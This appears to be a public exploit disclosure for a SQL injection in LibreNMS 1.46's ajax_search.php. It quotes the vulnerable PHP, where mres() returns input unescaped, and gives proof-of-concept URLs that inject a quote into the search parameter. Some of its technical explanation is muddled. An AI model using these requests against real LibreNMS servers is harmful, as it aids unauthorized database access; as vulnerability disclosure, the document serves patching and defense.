# Exploit Title: LibreNMS 1.46 - 'search' SQL Injection # Google Dork:unknown # Date: 2019-09-01 # Exploit Author: Punt # Vendor Homepage: https://www.librenms.org # Software Link: https://www.librenms.org # Version:1.46 and less # Tested on:Linux and Windows # CVE: N/A #Affected Device: more than 4k found on Shodan and Censys. #Description about the bug Vunlerable script /html/ajax_serarch.php if (isset($_REQUEST['search'])) { $search = mres($_REQUEST['search']); header('Content-type: application/json'); if (strlen($search) > 0) { $found = 0; if ($_REQUEST['type'] == 'group') { include_once '../includes/device-groups.inc.php'; foreach (dbFetchRows("SELECT id,name FROM device_groups WHERE name LIKE '%".$search."%'") as $group) { if ($_REQUEST['map']) { $results[] = array( 'name' => 'g:'.$group['name'], 'group_id' => $group['id'], as you can there is a search parameter $search = mres($_REQUEST['search']); which accepts a user input using $_REQUEST[''] dbFetchRows() used to exectute sql query now lets check the mres() function the mres() fuction is located under /includes/common.php function mres($string) { return $string; // global $database_link; return mysqli_real_escape_string($database_link, $string); as you can see the mres() function call's the mysqli_real_escape_string() which can be bypassed by '%' #POC: 1st lgoin to your LibreNMS 2nd go to this /ajax_search.php?search=%27&type=group or /ajax_search.php?search=%27&type=alert-rules 3rd you will see an sql syntax error The Librenms team have applyed a patch . Thanks Punt (From Ethiopia)